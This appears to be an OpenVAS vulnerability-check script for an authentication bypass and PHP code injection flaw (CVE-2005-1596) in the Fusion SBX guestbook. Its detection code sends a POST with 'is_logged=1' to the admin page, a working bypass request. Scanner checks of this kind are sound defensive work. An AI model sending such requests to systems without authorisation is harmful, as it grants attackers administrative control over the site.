Fusion SBX Password Bypass and Command Execution

# SPDX-FileCopyrightText: 2005 Noam Rathaus
# Some text descriptions might be excerpted from (a) referenced
# source(s), and are Copyright (C) by the respective right holder(s).
#
# SPDX-License-Identifier: GPL-2.0-only

# "Dave" <[email protected]>
# 2005-05-05 07:03
# Fusion SBX 1.2 password bypass and remote command execution

if(description)
{
  script_oid("1.3.6.1.4.1.25623.1.0.18210");
  script_version("2023-12-13T05:05:23+0000");
  script_tag(name:"last_modification", value:"2023-12-13 05:05:23 +0000 (Wed, 13 Dec 2023)");
  script_tag(name:"creation_date", value:"2005-11-03 14:08:04 +0100 (Thu, 03 Nov 2005)");
  script_xref(name:"URL", value:"http://www.securityfocus.com/bid/13575");
  script_cve_id("CVE-2005-1596");
  script_tag(name:"cvss_base", value:"10.0");
  script_tag(name:"cvss_base_vector", value:"AV:N/AC:L/Au:N/C:C/I:C/A:C");
  script_name("Fusion SBX Password Bypass and Command Execution");
  script_category(ACT_ATTACK);
  script_copyright("Copyright (C) 2005 Noam Rathaus");
  script_family("Web application abuses");
  script_dependencies("find_service.nasl", "no404.nasl", "webmirror.nasl", "DDI_Directory_Scanner.nasl", "gb_php_http_detect.nasl", "global_settings.nasl");
  script_require_ports("Services/www", 80);
  script_exclude_keys("Settings/disable_cgi_scanning");

  script_tag(name:"solution", value:"No known solution was made available for at least one year since the disclosure
  of this vulnerability. Likely none will be provided anymore. General solution options are to upgrade to a newer
  release, disable respective features, remove the product or replace the product by another one.");

  script_tag(name:"summary", value:"The remote host is running Fusion SBX, a guest book written in PHP.

  A vulnerability in the remote version of this software allows remote attackers to modify the
  product's settings without knowing the administrator password, in addition by injecting
  arbitrary PHP code to one of the board's settings a remote attacker is able to cause the
  program to execute arbitrary code.");

  script_tag(name:"qod_type", value:"remote_vul");
  script_tag(name:"solution_type", value:"WillNotFix");

  exit(0);
}

include("http_func.inc");
include("http_keepalive.inc");
include("port_service_func.inc");
include("list_array_func.inc");

port = http_get_port( default:80 );
if( ! http_can_host_php( port:port ) )
  exit( 0 );

useragent = http_get_user_agent();
host = http_host_name( port:port );

foreach dir( make_list_unique( "/", http_cgi_dirs( port:port ) ) ) {

  if( dir == "/" ) dir = "";
  url = dir + "/admin/index.php";

  req = string( "POST ", url, " HTTP/1.1\r\n",
                "Host: ", host, "\r\n",
                "User-Agent: ", useragent, "\r\n",
                "Content-Type: application/x-www-form-urlencoded\r\n",
                "Content-Length: 11\r\n",
                "\r\n",
                "is_logged=1" );
  res = http_keepalive_send_recv( port:port, data:req );

  if( "data/data.db" >< res && "data/ipban.db" >< res ) {
    report = http_report_vuln_url( port:port, url:url );
    security_message( port:port, data:report );
    exit( 0 );
  }
}

exit( 99 );